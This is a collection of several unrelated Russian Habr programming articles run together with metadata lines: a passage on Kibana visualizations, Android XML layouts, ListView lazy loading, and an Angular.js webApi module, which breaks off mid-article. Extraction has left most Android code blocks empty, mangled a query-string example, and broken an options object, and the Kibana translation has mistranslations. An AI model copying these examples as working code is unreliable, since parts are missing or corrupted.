**Metric**. (Метрика, прим. пер.) Выводит одиночное число.
**Goal and Gauge**. (Цель и датчик, прим. пер.) Выводит шкалу датчика.
* **Карты**
**Coordinate map**. (Карта координат, прим. пер.) Сопоставляет данные агрегации и географическое месторасположение.
**Region map.** (Карта регионов, прим. пер.) Тематические карты, где интенсивность цвета формы соответствует метрическому значению.
* **Временные ряды**
**Timelion**. Вычисляет и объединяет данные из нескольких наборов данных временных рядов.
**Time Series Visual Builder.** (Визуальный конструктор временных рядов, прим. пер.) Визуализирует данные временных рядов, используя источник агрегаций.
* **Остальные**
**Controls**. (Управление, прим. пер.) Предоставляет возможность добавлять интерактивные формы ввода на информационные панели Kibana.
**Markdown widget**. (Виджет скидки, прим. пер.) Выводит произвольную информацию или инструкции.
**Tag cloud**. (Облако тегов, прим. пер.) Показывает слова в виде облака, в котором их размер соответствует важности.
**Vega graph**. (Граф Вега, прим. пер.) Поддерживает графы, определенные пользователем, внешних источников данных, изображений и интерактивности, определенной пользователем.
4. Укажите поисковый запрос, с которого будет идти получение данных для вашей визуализации:
* Что бы ввести новый критерий поиска, выберите шаблон индекса для индексов, что содержат данные, что вы хотите визуализировать. Это откроет конструктор визуализации с неопределенным запросом, что совпадает со всеми документами в выбранных индексах.
* Для построения визуализации на основе сохраненного поиска кликните на имени сохраненного поиска, который вам нужен. Это откроет конструктор визуализаций и загрузит выбранный запрос.
Примечание. Когда вы строите визуализацию на основе сохраненного поиска, любые последующие изменения в сохраненном поиске автоматически отображаются в визуализации. Чтобы отключить автоматическое обновление, вы можете разъединить визуализацию и сохраненный поиск.
5. В конструкторе визуализаций выберите метрику агрегации для оси Y визуализации:
* **Метрические агрегации:** подсчёт, среднее число, сумма, минимум, максимум, стандартное отклонение, подсчет уникальных значений, медиана (50 процентов), проценты, процентные ряды, топ значений, гео центр
* **Агрегации родительских источников информации:** производная, накопительная сумма, скользящее среднее, последовательный дифференциал
* **Агрегации родственного источника:** среднее по сегменту, сумма по сегменту, минимум по сегменту, максимум по сегменту
6. Для визуализации оси X выберите агрегацию по сегменту:
* Временная гистограмма, спектр, выражения, фильтры, знаковые выражения
Для примера, если вы проиндексировали логи Apache сервера, вы можете построить гистограмму, что показывает распределение входящих запросов по географическому месторасположению, основываясь на спецификации выражений агрегации поля `geo.src`:
Ось Y показывает число запросов, что поступили из разных стран, а странами подписана ось X.
Визуализации гистограммы, графика или площади использует метрики для оси Y и сегменты для оси X. Сегменты аналогичны операторам SQL `GROUP BY`. Диаграммы используют метрики для размера доли и сегменты для числа долей.
Вы можете дополнительно разбить данные, указав подгруппы. Первая агрегация устанавливает набор данных для любых последующих агрегаций. Подгруппы применяются по порядку — вы можете перетащить агрегации, что бы изменить порядок применения.
Например, вы можете добавить подгруппу выражений по полю `geo.dest` к гистограмме Страны источников запросов, чтобы увидеть месторасположения назначения запросов.
Для дополнительной информации по работе с подгруппами агрегаций смотри [Kibana, Aggregation Execution Order, and You](https://www.elastic.co/blog/kibana-aggregation-execution-order-and-you).
### Line, Area, and Bar charts
Грфик, площадь и гистограмма позволяют строить схемы данных по X/Y осях.
Сначала вам нужно выбрать метрики, что определяют значения осей.
Метрические агрегации:
**Count.** Агрегация подсчета возвращает чистый подсчет элементов в выбранном шаблоне индекса.
**Average.** Данная агрегация возвращает среднее значение по числовому полю. Выбирайте поле из выпадающего списка.
**Sum.** Возвращает общую сумму по числовому полю. Выбирайте поле из выпадающего списка.
**Min.** Возвращает минимальное значение по числовому полю. Выбирайте поле из выпадающего списка.
**Max.** Возвращает максимальное значение по числовому полю. Выбирайте поле из выпадающего списка.
**Unique Count.** Кардинальная агрегация возвращает число уникальных значений в поле. Выбирайте поле из выпадающего списка.
**Standard Deviation.** Агрегация общей статистики возвращает стандартное отклонение данных в числовом поле. Выбирайте поле из выпадающего списка.
**Top Hit.** Агрегация топовых значений возвращает один или больше топовых значений из специального поля в вашем документе. Выбирайте поле из выпадающего списка, тип сортировки документов, количество значений, которые нужно вернуть.
**Percentiles.** Агрегация процентов разделяет значения числового поля на заданные диапазоны. Выбирайте поле из выпадающего списка, затем определите одну или больше областей в полях **Percentiles**. Кликните **X** для удаления поля процентов. Кликните **Add** для добавления процентного поля.
**Percentile Rank.** Агрегация процентного ранга возвращает процентное ранжирование по выбранному числовому полю. Выбирайте поле из выпадающего списка, затем определите один или больше значений процентного ранга в полях **Values**. Кликните **X** для удаления поля значения. Кликните **+Add** для добавления поля значений.
Агрегации родительских источников данных:
Для каждой агрегации родительского источника информации необходимо определить метрику, для которой агрегация высчитана. Это может быть одна из уже существующих метрик или новая. Вы также можете вкладывать эти агрегации (к примеру, для получения третей производной).
**Derivative.** Агрегация производной подсчитывает производную определенных метрик.
**Cumulative Sum.** Агрегация накопительной суммы подсчитывает накопительную сумму определенных метрик в родительской гистограмме.
**Moving Average.** Агрегация скользящего среднего будет вставлять окно сквозь данные и писать среднее значение этого окна.
**Serial Diff.** Последовательное дифференцирование — это метод, где значения во временном ряде отнимаются от самых себя в другой временной период или задержки.
Агрегации родственного источника:
Как и в случае с агрегациями родительских источников, вам необходимо указать метрику по которой будет высчитываться агрегация родственного источника. Кроме этого, вам необходимо предусмотреть агрегацию сегментов, которая будет определять на каких сегментах агрегация будет запускаться.
**Average Bucket.** Среднее сегмента вычисляет среднее значение определенных метрик в агрегации родственных источников.
**Sum Bucket.** Высчитывает сумму значений определенной метрики в агрегации родственного источника.
**Min Bucket.** Возвращает минимальное значение определенной метрики в агрегации родственного источника.
**Max Bucket.** Возвращает максимальное значение определенной метрики в агрегации родственного источника.
Вы можете создать агрегацию кликнув на кнопке **+ Add Metrics**.
Введите строку в поле **Custom Label**, чтобы изменить подпись.
Агрегации сегментов определяют, какая информация будет извлекаться с ваших данных.
До того как вы выберете агрегацию сегмента, укажите, разделяете ли вы срезы в пределах одной схемы или разбиваете на несколько схем. Разделение на несколько схем должно выполнятся перед любыми другими агрегациями. Когда вы разделяете схему, вы можете изменить если разделения выводятся в строке или столбце, кликнув переключатель **Rows | Columns**.
Ось X этой схемы является осью сегмента. Вы можете определить сегменты для оси X для отдельной области схемы или для отдельных схем.
Эта ось X схемы поддерживает следующие агрегации. Кликните связанное имя этой агрегации для перехода на документацию Elasticsearch по этой агрегации.
**[Date Histogram.](https://www.elastic.co/guide/en/elasticsearch/reference/6.6/search-aggregations-bucket-datehistogram-aggregation.html)** Временная гистограмма построена на основе числового поля и организована по дате. Вы можете определить временные рамки для интервалов в секундах, минутах, часах, днях, неделях, месяцах или годах. Вы также можете определить интервал по умолчанию, выбрав **Custom** в качестве интервала и указав число и единицу времени в текстовом поле. По умолчанию единицами временного интервала являются: **s** для секунд, **m** для минут, **h** для часов, **d** для дней, **w** для недель, **y** для лет. Различные единицы поддерживают различные уровни точности, вплоть до одной секунды. Интервалы подписываются в начале интервала, используя ключ-дату, который возвращается из Elasticsearch. Для примера, на всплывающей подсказке для месячного интервала будет отображаться первый день месяца.
**[Histogram.](https://www.elastic.co/guide/en/elasticsearch/reference/6.6/search-aggregations-bucket-histogram-aggregation.html)** Стандартная гистограмма строится на основе числового поля. Определите целочисленный интервал для этого поля. Установите флажок **Show empty buckets**, чтобы включить пустые интервалы в гистограмму.
**[Range.](https://www.elastic.co/guide/en/elasticsearch/reference/6.6/search-aggregations-bucket-range-aggregation.html)** С помощью агрегации рангов вы можете определить ранги для значений числового поля. Кликните **Add Range** для добавления набора конечных точек ранга. Кликните красный символ **(x)**, чтобы удалить ранг.
**[Date Range.](https://www.elastic.co/guide/en/elasticsearch/reference/6.6/search-aggregations-bucket-daterange-aggregation.html)** Агрегация временного ранга сообщает значения, которые находятся в указанном диапазоне дат. Вы можете указать диапазоны дат, используя математические выражения даты. Кликните **Add Range**, чтобы добавить набор конечных точек ранга. Кликните красный символ **(x)**, чтобы удалить ранг.
**[IPv4 Range.](https://www.elastic.co/guide/en/elasticsearch/reference/6.6/search-aggregations-bucket-iprange-aggregation.html)** Агрегация IPv4 ранга позволяет вам определить диапазоны IPv4 адресов. Кликните **Add Range**, чтобы добавить набор конечных точек ранга. Кликните красный символ **(x)**, чтобы удалить ранг.
**[Terms.](https://www.elastic.co/guide/en/elasticsearch/reference/6.6/search-aggregations-bucket-terms-aggregation.html)** Агрегация значений позволяет вам определить верхние или нижние n элементов данного поля для отображения, упорядоченные по количеству или пользовательской метрике.
**[Filters.](https://www.elastic.co/guide/en/elasticsearch/reference/6.6/search-aggregations-bucket-filters-aggregation.html)** Вы можете определить набор фильтров для данных. Возможно указать фильтр как строку запроса или в формате JSON, так же как и в поисковой вкладке Discover. Кликните **Add Filter**, чтобы добавить другой фильтр. Кликните кнопку **label**, чтобы открыть поле подписи, где вы можете напечатать имя для отображения на визуализации.
**[Significant Terms.](https://www.elastic.co/guide/en/elasticsearch/reference/6.6/search-aggregations-bucket-significantterms-aggregation.html)** Выводит результаты экспериментальной агрегации знаковых значений.
Однажды определив агрегацию оси X, вы можете определить подгруппы агрегаций для улучшения визуализации. Кликните **+ Add Sub Aggregation** для создания вложенной агрегации, затем выберите **Split Area** или **Split Chart**, затем выберите вложенную агрегацию из списка типов.
Когда сложные агрегации определенны на осях схемы, вы можете использовать стрелки вверх или вниз справа от типа агрегации что бы изменить приоритет агрегации.
Введите строку в поле **Custom Label** что бы изменить подпись.
Вы можете настроить цвета вашей визуализации, кликнув цветную точку рядом с каждой подписью что бы отобразить цветовую палитру.
Введите строку в поле **Custom Label** что бы изменить надпись.
Вы можете кликнуть по ссылке **Advanced** что бы отобразить больше опций для ваших метрик или агрегации сегмента:
**Exclude Pattern.** Укажите шаблон в этом поле что бы исключить с результатов.
**Include Pattern.** Укажите шаблон в этом поле что бы включить в результаты.
**JSON Input.** Текстовое поле, где вы можете добавить специфичные свойства в формате JSON для слияния с определенной агрегацией, как нижеследующем примере:
`{ "script" : "doc['grade'].value * 1.2" }`
Примечание. В Elasticsearch 1.4.3 и позже этот функционал нуждается во включенном [динамическом скриптинге Groovy.](https://www.elastic.co/guide/en/elasticsearch/reference/6.6/modules-scripting.html)
Доступность этих параметров зависит от выбранной вами агрегации.
#### Метрики и оси
Выберите вкладку **Metrics & Axes** для изменения способа, которым индивидуальная метрика отображается на схеме. Наборы данных стилизованы в секции Метрики, в то время как оси стилизованы в секции осей X и Y.
#### Метрики
Изменение способа отображения каждой метрики на панели Данные на схеме.
**Chart type.** Выберите между Графиком, Площадью и Гистограммой.
**Mode.** Стек различных метрик или отображать их рядом друг с другом.
**Value Axis.** Выберите ось, для которой вы хотите построить данные (свойства каждой из них настраиваются под осью Y).
**Line mode.** Должен ли контур графиков или гистограмм быть ровным, прямым или ступенчатым.
#### Ось Y
Стиль всех осей Y схемы.
**Position.** Позиция оси Y (слева или справа для вертикальной схемы и сверху или внизу для горизонтальной схемы).
**Scale type.** Масштабирование значений (линейное, логарифмическое или квадратичное).
**Advanced Options:**
**Labels — Show Labels.** Позволяет вам скрывать подписи осей.
**Labels — Filter Labels.** Если фильтр подписей включен некоторые подписи будут скрыты в случае недостатка пространства для отображения их.
**Labels — Rotate.** Вы можете ввести число градусов, на которое вы хотите обернуть подписи.
**Labels — Truncate.** Вы можете ввести количество пикселей, до которого подписи подгоняются.
**Scale to Data Bounds.** По умолчанию границы оси Y равны нулю и максимальному значению, которое возвращается из данных. Установите этот флажок что бы изменить обе, верхнюю и нижнюю, границы соответственно значениям, что возвращаются из данных.
**Custom Extents.** Вы можете определить свои значения максимума и минимума для каждой оси.
#### Ось X
**Position.** Позиция оси X (слева или справа для горизонтальной схемы и сверху или внизу для вертикальной схемы).
**Advanced Options:**
**Labels — Show Labels.** Позволяет вам скрывать подписи осей.
**Labels — Filter Labels.** Если фильтр подписей включен некоторые подписи будут скрыты в случае недостатка пространства для отображения их.
**Labels — Rotate.** Вы можете ввести число градусов, на которое вы хотите обернуть подписи.
**Labels — Truncate.** Вы можете ввести количество пикселей, до которого подписи подгоняются.
#### Панель настроек
Здесь находятся параметры, которые применяются ко всей схеме, а не только к отдельными рядам данных.
#### Общие параметры
**Legend Position.** Переместить легенду влево, вправо, вверх или вниз.
**Show Tooltip.** Включить или выключить отображение всплывающей подсказки при наведении на объект схемы.
**Current Time Marker.** Показать строку текущего времени.
#### Варианты сетки
Вы можете включить сетку на схеме. По умолчанию, сетка выводится только на оси категорий.
**Ось X.** Вы можете отключить сетку оси категорий.
**Ось Y.** Вы можете выбрать на каких осях значений вы будете отображать линии сетки.
[Вторая часть.](https://habr.com/ru/post/441264/) | https://habr.com/ru/post/441214/ | null | ru | null |
# Основы верстки для нативных андроид приложений
В этом посте будут рассмотрены вопросы верстки при создании нативных приложений для android. Той верстки, которая описывается в xml файлах из директории res/layout/ Итак начнем:
Существует пять стандартных типов верстки:
* AbsoluteLayout
* FrameLayout
* LinearLayout
* RelativeLayout
* TableLayout
AbsoluteLayout
==============
( пользоваться не рекомендуется, deprecated )
AbsoluteLayout — означает что каждый элемент верстки будет иметь абсолютную позицию относительно верхнего левого угла экрана задаваемую с помощью координат x и y. Т.е. верхнийлевый угол экрана при AbsoluteLayout имеет координаты x = 0, y = 0.
Позиция указывается в атрибутах элемента android:layout\_x и android:layout\_y.
Пример кода:
```
```
FrameLayout
===========
FrameLayout — тип верстки внутри которого может отображаться только один элемент в строке. Т.е. если внутри FrameLayout вы поместите несколько элементов, то следующий будет отображаться поверх предыдущего.
Пример кода:
```
```
LinearLayout
============
LinearLayout — тип верстки при котором область верстки делится на строки и в каждую строку помещается один элемент. Разбиение может быть вертикальное или горизонтальное, тип разбиения указывается в атрибуте LinearLayout android:orientation. Внутри верстки возможно комбинировать вертикальную и горизонтальную разбивки, а кроме того, возможна комбинация нескольких разных типов верстки например использование LinearLayout внутри FrameLayout.
Пример вертикальной разбивки LinearLayout:
```
```
Пример горизонтальной разбивки LinearLayout:
```
```
Комбинация нескольких LinearLayout:
```
```
RelativeLayout
==============
RelativeLayout — тип верстки при котором позиционирование элементов происходит относительно друг друга и относительно главного контейнера.
За то, каким образом будут позиционироваться элементы отвечают следующие атрибуты:
Атрибуты позиционирования относительно контейнера
* android:layout\_alignParentBottom – Низ элемента находится внизу контейнера
* android:layout\_alignParentLeft – Левая часть элемента прилегает к левой части контейнера
* android:layout\_alignParentRight – Правая часть элемента прилегает к правой части контейнера
* android:layout\_alignParentTop – Элемент находится в верхней части контейнера
* android:layout\_centerHorizontal – Элемент позиционируется по центру относительно горизонтального размера контейнера
* android:layout\_centerInParent – Элемент позиционируется по центру относительно горизонтального и вертикального размеров размера контейнера
* android:layout\_centerVertical – Элемент позиционируется по центру относительно вертикального размера контейнера
Атрибуты позиционирования относительно других элементов.
В качестве значений этих атрибутов ставятся id элемента относительно которого будет производится позиционирование.
android:layout\_above – Распологает элемент над указанным
android:layout\_below – Распологает элемент под указанным
android:layout\_toLeftOf – Распологает элемент слева от указанного
android:layout\_toRightOf – Распологает элемент справа от указанного
Выравнивание относительно других элементов.
android:layout\_alignBaseline – Выравнивает baseline элемента с baseline указаннго элемента
android:layout\_alignBottom – Выравнивает низ элемента по низу указанного элемента
android:layout\_alignLeft – Выравнивает левый край элемента с левым краем указанного элемента
android:layout\_alignRight – Выравнивает правый край элемента с правым краем указанного элемента
android:layout\_alignTop – Выравнивает верхнюю часть элемента в соответствие с верхней частью указанного элемента
```
```
TableLayout
===========
TableLayout — табличная верстка.
Организует элементы в строки и столбцы таблицы.
Для организации строк служит таг ``````
, а количество столбцов определяется максимальным количеством элементов внутри одного из .
В случае если элемент должен занимает несколько ячеек используется атрибут android:layout_span.
По умолчанию организует строки таблицы, если мы хотим организовывать не строки а столбцы, нужно использовать атрибут android:layout_column
```
Alternate Layouts
=================
Alternate Layouts - альтернативная верстка. Позволяет использовать различную верстку для различных ориентаций экрана.
XML для альтернативной верстки помещается в папки проекта:
res/layout-land – альтернативная верстка для landscape UI
res/layout-port –альтернативная верстка для portrait UI
res/lauout-square – альтернативная верстка для square UI
и перед тем как получить макет из res/lauout система проверяет наличие файлов в этих папках.
И в завершении немного о стилях.
Стили
=====
Во первых стили элемента могут быть описаны в атрибутах самого элемента.
Например:
```
```
Кроме того стили можно вынести в отдельный xml файл и сохранить его в папке res/values/
Напимер:
```
xml version="1.0" encoding="utf-8"?
<item name="android:layout\_width">fill\_parent</item>
<item name="android:layout\_height">wrap\_content</item>
<item name="android:textColor">#00FF00</item>
<item name="android:typeface">monospace</item>
```
Если мы вынесем стили в отдельный файл, то для описания стилей элемента будем использовать атрибут style.
```
`````` | https://habr.com/ru/post/181820/ | null | ru | null |
# Фоновая подгрузка списков
При загрузке больших списков из медленного источника (например HTTP запрос) нет смысла загружать весь список сразу, особенно если пользователю потребуется лишь небольшое количество данных (результаты поиска, новостные статьи). В этом случае целесообразно реализовать постраничную подгрузку списка. В этой статье показан простой способ с использованием **footer view** контрола **ListView**. Подразумевается, что у нас уже есть список и его адаптер, который загружает элементы (пусть несколько первых, или весь) используя например ассинхронный HTTP запрос. Удобнее вынести запрос данных в отдельный класс, в котором добавить возможность подгрузки очередной страницы.
План действий
-------------
1. Подготавливаем layout для элемента сообщения о процессе загрузки
2. Подготавливаем контрол **ListView**
3. Добавляем в адаптер списка код запуска загрузки следующей страницы
4. Обрабатываем результат загрузки очередной страницы
Подготавливаем layout для элемента сообщения о процессе загрузки
----------------------------------------------------------------
Создаем layout xml с двумя элементами **ProgressBar** с установленным флагом **indeterminateOnly** и **TextView** с текстом «Идет загрузка...». Помещаем их в горизонтальный LinearLayout. Можно использовать и уже готовый layout для пустого списка для информации о начальной загрузке.
Подготавливаем ListView
-----------------------
Загружаем подготовленный layout и устанавливаем его подвальным для нашего ListView. Это надо сделать до вызова метода setAdapter. Не забудем сохранить ссылку на элемент, чтобы удалить при достижении конца списка.
```
private LinearLayout mLoadingFooter;
@Override
protected void onCreate(Bundle savedInstanceState) {
...
LayoutInflater layoutInflater = (LayoutInflater) this.getSystemService(Context.LAYOUT_INFLATER_SERVICE);
mLoadingFooter = (LinearLayout) layoutInflater.inflate(R.layout.loading, null);
mList = (ListView) findViewById(R.id.list);
mList.addFooterView(mLoadingFooter);
...
}
```
Добавляем в адаптер списка код запуска загрузки следующей страницы
------------------------------------------------------------------
Для запуска загрузки следующей страницы используем метод **getView** адаптера списка: если затребован последний элемент списка, то время грузить следующую страницу. Процесс загрузки удобно убрать в отдельный тред и затем кинуть Intent в текущую активити. Не забудем вызывать **notifyDataSetInvalidated** если во время загрузки данные, к которым обращается адаптер будут изменяться.
```
@Override
public View getView(int position, View convertView, ViewGroup parent) {
...
if (position == getCount() - 1 && hasNextPage()) {
loadNextPage();
}
}
```
**UPD:** [grishkaa](http://habrahabr.ru/users/grishkaa/) рекомендовал более правильный способ с использованием **AbsListView.OnScrollListener**:
```
mList.setOnScrollListener(new OnScrollListener() {
@Override
public void onScrollStateChanged(AbsListView arg0, int arg1) {}
@Override
public void onScroll(AbsListView view, int firstVisibleItem, int visibleItemCount, int totalItemCount) {
if (visibleItemCount > 0 && firstVisibleItem + visibleItemCount == totalItemCount &&
hasNextPage()) {
loadNextPage();
}
}
});
```
Обрабатываем результат загрузки очередной страницы
--------------------------------------------------
Intent можно перехватить анонимным **BroadcastReceiver** и передать в **Handler**(чтобы исполнить в UI треде). Нам остается только вызвать метод **notifyDataSetChanged** адаптера и удалить подвальный элемент, если загружена последняя страница.
```
if (!hasNextPage() && mList.getFooterViewsCount() > 0) {
mList.removeFooterView(mLoadingFooter);
}
mAdapter.notifyDataSetChanged();
``` | https://habr.com/ru/post/130319/ | null | ru | null |
# Angular.js — разработка webApi модуля
> *Желание разработать собственный Angular.js webApi модуль возникло при работе с большим количеством http-запросов в проекте.*
Важно было не просто создать файл с константами, а разработать некий модуль для упрощения поддержки существующего функционала. В свою очередь, необходимо было и позаботиться о возможном последующем расширении без нарушения целостности текущего ядра модуля.
Задачи, которые должен решать будущий webApi модуль:
1. Предотвратить дублирование http-запросов в проекте.
2. Группировать существующий список запросов по функциональным категориям, чтобы проще вносить правки в конкретные методы.
3. Быть полностью независимой функциональной единицей приложения, которая подключается к любому другому Angular.js проекту простым Dependency Injection'ом.
4. Инкапсулировать внутреннюю реализацию, чтобы избежать проблем при работе с внешними источниками.
**Демо**
Посмотреть исходный код модуля: [github](https://github.com/asduser/webApi-angularjs).
Дальше поговорим о каждом из этих пунктов подробнее.
Дублирование http-запросов
--------------------------
Речь идет об использовании одного запроса в нескольких местах приложения (контроллеры, сервисы, фабрики). Когда методов 10-20, то внести изменения в каждый запрос не составит большой проблемы. Но когда речь идет о количестве 100, 200 и более url'ов, поддержка такого кода вызывает все больше трудностей.
**Пример #1**
Есть метод, который получает список групп пользователей. Допустим, он выводится в соответствующий dropdown. При выборе группы происходит подгрузка ее юзеров по другому запросу, куда передается "*id*" группы. Также на странице имеется дополнительный функционал для визуализации каких-то данных пользователей.
```
// получаем все группы
$http.get("api/group-manage/get-all")
// получаем пользователей выбранной группы
$http.get("api/group-manage/2/get-users")
```
В другом контроллере есть таблица, где нужно вывести всех пользователей системы по конкретной группе. Эта страница предоставляет значительно больше возможностей для анализа и менеджмента пользователей.
```
// получаем пользователей выбранной группы
$http.get("api/group-manage/2/get-users")
```
В действительности похожих запросов может быть значительно больше.
**Решение проблемы**
```
Создать специальный файл с константами, содержащий список всех http-запросов на сервер, т.е. всех используемых в приложении url'ов.
```
Данный подход позволит сэкономить время при поиске необходимого запроса в проекте и его модификации.
Опять же, работать с таким файлом получится только при наличии небольшого количества запросов к серверу. Трудно себе представить удобную поддержку файла с константами, которых более 200.
Группировать запросы по категориям
----------------------------------
Этот подход позволит решить вытекающую выше проблему. Как именно будет происходить определение независимых категорий — определяет сам разработчик. Для простоты можно ориентироваться на имя контроллера-метода из `api`.
```
// http://yourapi.com/api/group-manage/2/get-users
// http://yourapi.com/api/group-manage/get-all
```
Из примера выше видно, что в запросах есть общий корень `/api/group-manage/`. Создаем категорию с соответствующим названием `groupManage.js`.
> В Angular.js среде данный файл объявляется как **constant**, который в дальнейшем подключается к основному функционалу webApi модуля.
Таких групп в проекте может быть несколько. Но теперь мы определенно знаем где искать запросы, относящиеся к менеджменту групп.
Если же вызывать добавленный url напрямую, то рано или поздно появится череда однотипных зависимостей в коде. Поэтому, необходимо создать общий блок, предоставляющий список всех существующих запросов для оперирования ими в "*ядре*" webApi.
Инкапсуляция функционала
------------------------
Одной из самых сложных задач была разработка ядра, которое сможет оперировать всеми запросами к серверу, при этом не только не раскрывать свою внутреннюю реализацию, но и предоставлять возможность легкого конфигурирования webApi модуля под конкретное Angular.js приложение.
Пример запроса выглядит следующим образом:
```
{ Url: '/api/acc/login', CustomOptions: false, Method: 'post', InvokeName: 'login' }
```
* customOptions — использовать ли дополнительные настройки запроса. Обычно там могут указываться header'ы для конкретного запроса, значение timeout, параметр withCredentials и др.
Такой подход позволяет не только группировать несколько url по общему типу, но еще и иметь представление, что каждый метод будет делать с данными.
В директории `webApi/config/` находится файл с настройками API. Именно там мы и указываем DOMAIN url.
**Пример #2**
Практически все современные Angular.js приложения работают с системой аутентификации. Обычно это post-метод, который отправляет на сервер данные юзера (login, password).
При успешном respons'e происходит оповещение главному роуту приложения, после чего пользователь будет перенаправляется на страницу с функционалом.
Вызываем метод:
```
webApi.login({
"Login": "user",
"Password": "qwerty"
}).success(function(response, status, headers, config){
// какие-то действия
})
```
Таким образом, мы работаем на специальном уровне абстракций, что позволяет сосредоточиться на процессе построения логики приложения. Желательно давать адекватные наименования методам, чтобы можно было понять, что делает конкретный вызов:
```
// объявляем запрос в настройках
{ Url: '/api/acc/logout', CustomOptions: false, Method: 'get', InvokeName: 'logout' }
// где-то вызываем метод
webApi.logout([]);
```
Наверное, сейчас не совсем понятно использование пустого массива в get-методе, но дальше об этом всем будет рассказано.
Шаблонизация запросов
---------------------
Довольно часто при разработке приложения, сервер-сайд предоставляет клиенту следующий формат запросов:
* /api/admin/delete/profile/{id}
* /api/admin/update/profile/{id}/block
И чтобы в при отправке запроса на сервер в нужном месте приложения не производить лишних операций с построением такого url, был разработан специальный компонент, автоматически генерирующий правильный адрес на основе полученных параметров.
```
// объявляем запрос в настройках
{ Url: '/api/admin/update/profile/{id}/block', CustomOptions: false, Method: 'put', InvokeName: 'blockAdminProfileById' }
// где-то вызываем метод
webApi.blockAdminProfileById({
"url": { "id": 5 }
});
```
Сгенерированный запрос: `/api/admin/update/profile/5/block` (плюс domain url, разумеется).
И если нам нужно отправить на сервер более сложный запрос (например, длительность блокировки и тип), то просто указываем остальные параметры в качестве полей объекта "url":
```
// объявляем запрос в настройках
{ Url: '/api/admin/update/profile/{id}/block/{type}/{time}', CustomOptions: false, Method: 'put', InvokeName: 'blockAdminProfileById' }
// где-то вызываем метод
webApi.blockAdminProfileById({
"url": {
"id": 5,
"type": "week",
"time": 2
}
});
```
Сгенерированный запрос: `/api/admin/update/profile/5/block/week/2`. И теперь пользователь будет заблокирован системой на 2 недели.
Шаблонизация работает для всех типов запросов, включая get. Желательно все запросы формировать именно таким образом: экономим время, не засоряем внутренний код лишними операциями.
**Передача данных в теле запроса**
Следует отметить, что если Вы хотите отправить помимо шаблонизированного url на сервер еще и какие-то данные (например, post-запрос), то необходимо их передать следующим образом:
```
webApi.createPost({
"data": {
"title": "Test post",
"category": "sport",
"message": "Content..."
}
});
```
Естественно, можно использовать одновременно и url-шаблонизацию, и передачу объекта с данными. Последний будет отправлен на сервер в теле запроса.
**Работа с GET-методами**
Тут никакие данные в теле запроса не передаются, но всем известно, что get-запрос может быть сформирован так:
`api/admin/news/10?category=sport.=week`
или так:
`api/admin/manage/get-statistic/5/2016`
или же так:
`api/admin/manage/get-all`.
Рассмотрим каждый из вариантов генерации.
**Примеры создания get-запроса**
```
// Case #1 -> api/admin/manage/get-all
// в настройках -> "Url" : 'api/admin/manage/get-all', ...
// вызываем метод
webApi.getAllAdmins([]).success(//...)
// Case #2 -> api/admin/manage/get-statistic/5/2016
// в настройках -> "Url" : 'api/admin/manage/get-statistic/{id}/{year}', ...
// вызываем метод
webApi.getAdminStatsticById({
"url": {
"id": 5,
"year": 2016
}
}).success(//...)
// Case #3 -> admin/news/10?category=sport.=week
// в настройках -> "Url" : 'admin/news', ...
// вызываем метод
webApi.getNews({
before: ['10'],
after: {
"category": "sport",
"period": "week"
}
}).success(//...)
```
Со вторым типом запросов мы уже разобрались выше.
В первом же случае мы всегда передаем пустую коллекцию, когда нужно просто отправить запрос на сервер.
В случае #3 поле *before* определяет ряд параметров, которые идут до знака *"?"*, а поле *after* — набор "ключ-значение". Естественно, в некоторых случаях можно оставить *before* пустой коллекцией [].
**Параметр CustomOptions в настройках**
Get-запрос без шаблонизации url:
```
webApi.getNewsById([10, {"headers": {"Content-Type": "text/plain"} } ]);
```
Во всех остальных случаях (в том числе, get-запросы с шаблонизацией url):
```
webApi.login({
options: {"timeout": 100, {"headers": {"Content-Type": "text/plain"} }
});
```
Настройка webApi в новом проекте
--------------------------------
Структура модуля следующая:
* файл module.js — объявление самого модуля;
* директория main/ — содержит в себе ядро webApi, оно не изменяется;
* директория categories — группы запросов, одна группа — один \*.js файл;
* директория categories-handler — регистратор всех запросов в webApi модуле.
Вам придется работать с последними двумя директориями.
**Пример #3**
Допустим, разрабатывается система учета книг в каком-то университете. Большая вероятность разбиения запросов на следующие группы:
* *account.js* — запросы на авторизацию, деавторизацию, восстановление паролей и т.д.;
* *bookManage.js* — запросы на CRUD-операции с книгами;
* *studentManage.js* — менеджмент студентов;
* *adminManage.js* — ряд запросов по управление админской частью приложения.
Конечно, этот список может быть расширен.
```
Главное - стараться максимально четко группировать запросы, чтобы потом легко было добавлять новые методы и редактировать существующие.
```
**Объявляем новую категорию запросов**
```
(function(){
angular
.module("_webApi_")
.constant("cat.account", {
"DATA": [
{ Url: '/api/acc/login', CustomOptions: false, Method: 'post', InvokeName: 'login' },
// остальные запросы
]
});
})();
```
Файл с запросами создан. Теперь нужно связать его с нашим webApi ядром.
**Добавляем группу запросов в специальный обработчик**
```
(function(){
angular
.module("_webApi_")
.service("webApi.requests", webApiRequests);
function webApiRequests(catAccount){
// специальные обработчики и регистраторы
// их изменять не нужно, только добавляем новые зависимости
}
// IoC container.
webApiRequests.$inject = [
"cat.account"
];
})();
```
В данном случае все константы пишутся через "*cat.имя константы*", а подключаются в регистратор "*catИмяКонстанты*".
Таким образом, в webApi используется дополнительное пространство имен "*cat.*", чтобы не было конфликтов с другими константами в приложении.
И теперь вызываем метод согласно описанному шаблону:
`webApi.login( //логин-пароль для авторизации )`
Работа с репозиториями
----------------------
Для того, чтобы не раскрывать функционал webApi внутреннему коду приложения, было принято решение использовать дополнительную абстракцию "репозиторий".
```
Благодаря использованию данных сущностей, мы создаем слушателя, который получает запросы из контроллеров приложения и общается с http-сервером. Связь контроллер-webApi теряется, тем самым предоставляя разработчику свободу в работе с разными репозиториями.
```
Допустим, у нас есть некий "*FoodController*" и соответствующая группа запросов foodManage. Каждый метод из данной категории отвечает за свою конкретную реализацию по управлению данными на сервере.
Объявляем репозиторий:
```
(function() {
"use strict";
angular
.module("app.repositories")
.factory("repository.food", foodRepository);
function foodRepository(webApi){
return {
get: getById
getAll: getAll,
remove: removeById,
removeAll: removeAll
}
// остальные методы создания, обновления
function getById(id){
return webApi.getFoodItemById({
"url": { "id": id }
});
}
function getAll(){
return webApi.getAllFoodItems([]);
}
// реализация остальных методов
}
// IoC container.
foodRepository.$inject = [
"webApi"
];
})();
```
Таким образом, мы создали абстракную фабрику для управления данными из контроллера, не раскрывая при этом функционал webApi. И в любой момент мы сможем подменить текущую реализацию на любую другую.
Например, при получении информации об айтеме, нам необходимо теперь указывать тип: "vegetables", "fruits", "milk-made" и т.д. Благодаря наличию специального уровня абстракции, нам достаточно просто внести следующие изменения в метод:
```
